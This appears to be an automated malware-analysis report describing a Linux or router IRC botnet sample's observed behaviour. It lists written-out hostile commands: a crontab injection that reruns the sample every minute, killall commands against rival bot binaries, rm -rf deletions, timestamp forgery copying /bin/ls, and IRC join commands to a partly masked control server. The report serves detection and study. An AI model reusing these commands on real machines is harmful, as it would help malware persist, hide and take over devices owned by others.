Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Modifies router settings:
- /bin/nvram
Launches processes:
- sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
- sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
- rm -rf /var/run/wgsh
- sh -c rm -rf /var/run/pty > /dev/null 2>&1 &
- rm -rf /var/run/bbsh
- sh -c killall -9 arm > /dev/null 2>&1 &
- rm -rf /var/run/pty
- sh -c killall -9 mips > /dev/null 2>&1 &
- sh -c killall -9 mipsel > /dev/null 2>&1 &
- sh -c killall -9 powerpc > /dev/null 2>&1 &
- sh -c killall -9 ppc > /dev/null 2>&1 &
- sh -c killall -9 daemon.armv4l.mod > /dev/null 2>&1 &
- sh -c killall -9 daemon.i686.mod > /dev/null 2>&1 &
- sh -c killall -9 daemon.mips.mod > /dev/null 2>&1 &
- sh -c killall -9 daemon.mipsel.mod > /dev/null 2>&1 &
- sh -c kill -9 `cat /tmp/.xs/*.pid` > /dev/null 2>&1 &
- sh -c rm -rf /tmp/.xs/* > /dev/null 2>&1 &
- cat /tmp/.xs/*.pid
- sh -c touch -acmr /bin/ls <SAMPLE_FULL_PATH>
- rm -rf /tmp/.xs/*
- touch -acmr /bin/ls <SAMPLE_FULL_PATH>
- sh -c (crontab -l | grep -v \"<SAMPLE_FULL_PATH>\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1
- crontab -l
- grep -v <SAMPLE_FULL_PATH>
- grep -v no cron
- grep -v lesshts/run.sh
- sh -c echo \"* * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\" >> /var/run/.x001804289383
- sh -c crontab /var/run/.x001804289383
- crontab /var/run/.x001804289383
- sh -c rm -rf /var/run/.x001804289383
- rm -rf /var/run/.x001804289383
- sh -c /bin/uname -n
- sh -c nvram get router_name
- /bin/uname -n
Attempts to kill the following processes:
- killall -9 arm
- killall -9 mips
- killall -9 mipsel
- killall -9 powerpc
- killall -9 ppc
- killall -9 daemon.armv4l.mod
- killall -9 daemon.i686.mod
- killall -9 daemon.mips.mod
- killall -9 daemon.mipsel.mod
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.3DjYSW
Creates or modifies files:
- /var/run/.x001804289383
- /run/.x001804289383
- /var/spool/cron/crontabs/tmp.3DjYSW
Deletes files:
- /var/run/wgsh
- /var/run/bbsh
- /var/run/pty
- /tmp/.xs/*
- /var/run/.x001804289383
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:63008
Connects to the following servers over the IRC protocol:
- Server: 20#.#8.32.30; Command: NICK x86|x|0|885066|unknown\nUSER x00 localhost localhost :2021r\n
- Server: 20#.#8.32.30; Command: NICK x86|x|0|885066|unknown\n
- Server: 20#.#8.32.30; Command: MODE x86|x|0|885066|unknown -xi\n
- Server: 20#.#8.32.30; Command: JOIN #0x86 :777\n
Other:
Collects OS information